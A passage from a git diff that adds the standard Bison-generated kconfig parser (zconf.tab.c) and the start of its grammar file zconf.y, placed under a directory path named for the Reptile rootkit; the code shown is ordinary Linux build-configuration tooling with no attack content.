(yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if ((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - (3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + { + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y new file mode 100644 index 0000000..0653886 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + 